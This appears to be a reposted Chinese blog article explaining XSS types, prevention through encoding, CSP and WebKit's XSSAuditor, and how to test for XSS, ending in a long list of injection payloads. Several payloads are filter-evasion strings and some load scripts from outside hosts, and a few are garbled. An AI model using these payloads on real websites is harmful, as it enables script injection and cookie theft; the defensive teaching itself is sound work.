• XSS分析及预防


    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息的泄漏。如今,仍然没有统一的方式来检测XSS漏洞,但是对于前端开发人员而言,仍是可以在某些细微处避免的,因此本文会结合笔者的学习和经验总结解决和避免的一些方案,并简要从webkit内核分析浏览器内核对于XSS避免所做的努力,了解底层基础设施对预防XSS所做的贡献。

    XSS的种类和特点

    XSS的目标是让其他站点的js文件运行在目标站点的上,这主要发生在页面渲染阶段。在该阶段发生了某些非预期的脚本行为,该脚本可能来自用户的输入,也可能来自域外的其他js文件,不一而足。XSS的发生起源来自于用户输入,因此XSS根据用户输入数据以何种形式、何时触发XSS、是否有后端服务器的参与划分为三种类型,分别是反射型XSS、持久型XSS和DOM XSS。

    反射型XSS

    反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。因此如果要避免反射性XSS,则必须需要后端的协调,在后端解析前端的数据时首先做相关的字串检测和转义处理;同时前端同样也许针对用户的数据做excape转义,保证数据源的可靠性。

    e.x.
    localhost/test.php

    <?php echo $_GET['name'] ?>

    如果通过 localhost/test.php?name=alert(document.cookie) 访问页面,那么经过后端服务器的处理,就会造成反射性XSS的发生。

    同理,通过传入data uri编码的字符串也会导致XSS,如 localhost/test.php?name=data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ 会导致同样的问题。该段编码的字串解码后是“alert(document.cookie)”。

    持久型XSS

    持久型XSS仍然需要服务端的参与,它与反射型XSS的区别在于XSS代码是否持久化(硬盘,数据库)。反射型XSS过程中后端服务器仅仅将XSS代码保存在内存中,并未持久化,因此每次触发反射性XSS都需要由用户输入相关的XSS代码;而持久型XSS则仅仅首次输入相关的XSS代码,保存在数据库中,当下次从数据库中获取该数据时在前端未加字串检测和excape转码时,会造成XSS,而且由于该漏洞的隐蔽性和持久型的特点,在多人开发的大型应用和跨应用间的数据获取时造成的大范围的XSS漏洞,危害尤其大。这就需要开发人员培养良好的WEB前端安全意识,不仅仅不能相信用户的输入,也不能完全相信保存在数据库中的数据(即后端开发人员忽视的数据安全检测)。针对持久型XSS没有好的解决方式,只能由开发人员保证。当然规则是由开发者制定,如果忽略用户体验的话,可以制定一套严谨的输入规则,对相关关键词和输入类型(如data URI检测,禁止输入)的检测和禁止,尽可能规避用户发现XSS漏洞的可能性,从源头处理。

    DOM XSS

    DOM XSS完全在前端浏览器触发,无需服务端的参与,因此这是前端开发工程师的“地盘”,理应获得我们的关注。

    e.x.
    localhost/test.html

    <script>
    eval('alert(location.hash.slice("1"))');
    </script>

    如果访问localhost/test.html#document.cookie ,那么就会触发最简单的危害非常大的DOM XSS。它完全没有服务端的参与,仅仅由用户的输入和不安全的脚本执行造成,当然在本例中仅仅是最简单的情况,如果用户输入字符串‘’或者text/html格式的data URI,则更难检测,也危害更大,黑客操作起来更为容易。

    因此预防DOM XSS,需要前端开发人员警惕用户所有的输入数据,做到数据的excape转义,同时尽可能少的直接输出HTML的内容;不用eval、new Function、setTimeout等较为hack的方式解析外站数据和执行js脚本;禁止内联事件处理函数;如果在考虑安全性的前提下需要获取外站脚本的执行结果,可以采用前端沙盒(建立空的iframe执行脚本,该iframe无法操作当前文档对象模型)、worker线程的方式完成,保证DOM的安全。

    XSS预防

    XSS漏洞难以检测,但是为了WEB安全仍需要尽力避免,在本节将会针对三种类型XSS漏洞提出对应解决方法,并从其他角度提供更具启发性的意见。

    针对反射型XSS,在对应的小节中也提到过,需要服务端和前端共同预防,针对用户输入的数据做解析和转义,对于前端开发而言,则是善于使用escape,针对data URI内容做正则判断,禁止用户输入非显示信息,如MIME类型为“text/html,text/plain”类型的内容。
    对于存储型XSS,处理方式仍然类同于反射性XSS。
    对于DOM XSS,则需要慎之又慎。由于造成XSS的原因在于用户的输入,因此在前端,需要特别注意以下的用户输入源:


    document.URL,
    location.hash,
    location.research,
    document.referrer(此处应尤为注意,referrer属性虽然可用于避免CSRF,但可触发XSS攻击),
    XHR返回值(跨域返回值),
    form表单及各种input框

    针对以上输入源,需要做相对于的检测和转义。在以上输入源中获取数据后,可能会有各种DOM操作或纯粹的js计算,这些操作则是真正触发XSS的罪魁祸首:


    1,直接输出HTML内容
    document.body.innerHTML = ...
    document.body.outterHTML = ...
    document.write()
    2,HTML标签内联脚本


    3,直接执行脚本
    eval
    new Function(){}
    setTimeout()
    window.execScript()
    4,打开新页面触发XSS(包括反射型XSS和持久型XSS)
    window.open()
    location.href = ...
    location.hash = ...

    在操作DOM时,需要尤其注意上述操作,针对可能造成的XSS需要进行字串转义。当然,有些操作是完全可以避免的:对于innerHTML的拼接操作,需要摒弃jQuery式的链式操作而使用前端模版如artTemplate,也可选择使用由后端渲染好的可靠的数据,这样既保证性能也确保安全;对于HTML标签内嵌js,则需要完全避免,这是一种容错率很低的实现;直接执行脚本和解析数据,则需避免eval和new Funciton等操作,改为JSON.parse、iframe沙盒和webWorker执行;而针对打开新页面触发的XSS则需要开发人员自行把控。

    另外的尝试

    上文提到的仅仅是对应的XSS避免方案,但是如果将目光放置在全局,站在浏览器的角度上,则会变的更为柳暗花明。现阶段,大多数浏览器都支持多种安全策略,如沙盒机制,跨域机制,跨文档消息和CSP。在这里,我们关注CSP(Content Security Policy),又称内容安全协议,CSP通过服务端响应的HTTP头部来制定网页相关资源的加载域,这些资源限定于js文件、css文件、image、iframe、字体和其他对象(如object、applet)。

    CSP通过HTTP头部由服务端制定,头部类型由于历史原因总共由三种,这三种仅仅是兼容性的差别,针对chrome浏览器,我们仅需关注Content-Security-Policy头部。CSP头部的定义规则如下:
    Content-Security-Policy: 名 值; 名 值; 名 值;

    具体的指令名如下图:


    指令值的规范如下图:

    因此,如果我们要避免XSS攻击,可以限定脚本的来源域,如:
    Content-Security-Policy: default-src 'self' ajax.googleapis.com;
    这样,非本域和ajax.googleapis.com域下的其他脚本不会被加载,避免了XSS。

    在这里需要强调一点的是,默认CSP会禁止script代码块的执行;禁止内联事件处理函数;禁止内联样式;禁止eval和new Function。对于内联script代码块和内联样式,可通过CSP的header设置,如Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';。

    CSP有一个指令需要注意,即report-uri,它会将错误信息主动发送至改cgi(sevlet),用于管理员的统一管控。report-uri属性将会在下文中涉及到。

    webkit中的XSS组件

    XSS攻击主要发生在页面的渲染时,当浏览器的渲染引擎获取到该页面并开始解析时,是可以在该阶段进行安全校验的,具体的时间节点则是在词法分析后针对每个token做过滤。

    在webkit中,由HTMLDocumentParser解析得到token后,使用XSSAuditor进行过滤,具体则是在filterToken中执行,不仅仅是针对token的名称,其属性也是监测重点。在webkit中采用黑名单机制,针对“,,,”做重点排查,当发现相关隐患时,生成相关信息XSSInfo,由XSSAuditorDelegate类发送给对应的cgi,该cgi的地址正是CSP中的指令值report-uri,当然也可以手动制定该值。

    默认,XSSAuditor是启用的,但是XSSAuditor在发现XSS行为时却有多种,这些行为可以配置,这就涉及到HTTP头部X-XSS-Protection。该头部并不是W3C和IETF的规范,而是非标准实现,通过对该头部的赋值来定制XSSAuditor的相关行为。

    默认情况,XSSAuditor处于重写模式(js代码处在非执行状态),即X-XSS-Protection:1;如果要禁用XSSAuditor,可以X-XSS-Protection:0;当设置为X-XSS-Protection:1;mode=block,则会在XSSAuditor作用时禁止网页显示,呈现给用户的则是空白页;若设置为X-XSS-Protection:1;report=... ,则会将相关统计信息发送给CSP中定义的report-uri。XSSAuditor无法完全避免XSS,但毕竟在浏览器层面提供了一层检查机制,从HTML tag上保证其可靠性。

    总结

    XSS漏洞难以发现,但是作为开发人员需要于细节处避免制造XSS漏洞,而对于CSP规范和webkit的XSSAuditor机制的使用,我们不应抱着依靠它们的想法来解决XSS,毕竟不是所有的页面都可以容忍CSP的严格,XSSAuditor机制也仅仅针对chrome而言,并且存在多种bypass绕过检查,如通过各种HTML实体编码、url编码和js编码。因此,我们仍需以人为本,规范开发习惯,提高WEB前端安全意识。

    XSS 是如何发生的呢

    假如有下面一个textbox

    <input type="text" name="address1" value="value1from">

    value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

    <input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

    嵌入的JavaScript代码将会被执行

    或者用户输入的是  "οnfοcus="alert(document.cookie)      那么就会变成 

    <input type="text" name="address1" value="" onfocus="alert(document.cookie)">

     事件被触发的时候嵌入的JavaScript代码将会被执行

     攻击的威力,取决于用户输入了什么样的脚本

    当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

    HTML Encode

    XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

    在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

    如何测试XSS漏洞

    方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

    1.  
      <%
    2.  
      strUserCode = Request.QueryString(“code”);
    3.  
      strUser = Request.Form(“USER”);
    4.  
      strID = Request.Cookies(“ID”);
    5.  
      %>

    假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

     方法二: 准备测试脚本

    1.  
      "/><script>alert(document.cookie)</script><!--
    2.  
      <script>alert(document.cookie)</script><!--
    3.  
      "onclick="alert(document.cookie)

     在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

     在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

    方法三:  自动化测试XSS漏洞
    现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

     

    HTML Encode 和URL Encode的区别

    关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

    例如在baidu中搜索"测试汉字"。 URL会变成

    http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

    所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+

    在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

    浏览器中的XSS过滤器

    为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

    如果需要做测试, 最好使用IE7。

    XSS注入常用语句

      • <script>alert('hello,gaga!');</script> //经典语句,哈哈!
      • >"'><img src="javascript.:alert('XSS')">
      • >"'><script>alert('XSS')</script>
      • <table background='javascript.:alert(([code])'></table>
      • <object type=text/html data='javascript.:alert(([code]);'></object>
      • "+alert('XSS')+"
      • '><script>alert(document.cookie)</script>
      • ='><script>alert(document.cookie)</script>
      • <script>alert(document.cookie)</script>
      • <script>alert(vulnerable)</script>
      • <s&#99;ript>alert('XSS')</script>
      • <img src="javas&#99;ript:alert('XSS')">
      • %0a%0a<script>alert("Vulnerable")</script>.jsp
      • %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      • %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      • %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
      • <script>alert('Vulnerable')</script>
      • a.jsp/<script>alert('Vulnerable')</script>
      • "><script>alert('Vulnerable')</script>
      • <IMG SRC="javascript.:alert('XSS');">
      • <IMG src="/javascript.:alert"('XSS')>
      • <IMG src="/JaVaScRiPt.:alert"('XSS')>
      • <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
      • <IMG SRC="jav&#x09;ascript.:alert('XSS');">
      • <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
      • <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
      • "<IMG src="/java"script.:alert("XSS")>";'>out
      • <IMG SRC=" javascript.:alert('XSS');">
      • <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
      • <BODY BACKGROUND="javascript.:alert('XSS')">
      • <BODY ONLOAD=alert('XSS')>
      • <IMG DYNSRC="javascript.:alert('XSS')">
      • <IMG LOWSRC="javascript.:alert('XSS')">
      • <BGSOUND SRC="javascript.:alert('XSS');">
      • <br size="&{alert('XSS')}">
      • <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
      • <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
      • <IMG SRC='vbscript.:msgbox("XSS")'>
      • <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
      • <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
      • <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
      • <TABLE BACKGROUND="javascript.:alert('XSS')">
      • <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
      • <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
      • <DIV STYLE=" expression(alert('XSS'));">
      • <STYLE>@import'javasc ipt:alert("XSS")';</STYLE>
      • <IMG STYLE='xss:expression(alert("XSS"))'>
      • <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
      • <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A class="XSS"></A>
      • <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
      • <BASE HREF="javascript.:alert('XSS');//">
      • getURL("javascript.:alert('XSS')")
      • a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
      • <XML SRC="javascript.:alert('XSS');">
      • "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
      • <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
      • <IMG SRC="javascript.:alert('XSS')"
      • <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
  • 相关阅读:
    基于数组的完全二叉树
    二叉树链式存储
    小程序-启动-问题1
    小程序----textarea层叠问题
    小程序中某个页面生成二维码,并下载二维码图片
    vue项目启动后自动在浏览器打开
    给卡片加角标
    布局图片和文字垂直对齐
    小程序npm包管理
    从浏览器输入域名到加载完页面的流程
  • 原文地址:https://www.cnblogs.com/tester-l/p/6036760.html
Copyright © 2020-2023  润新知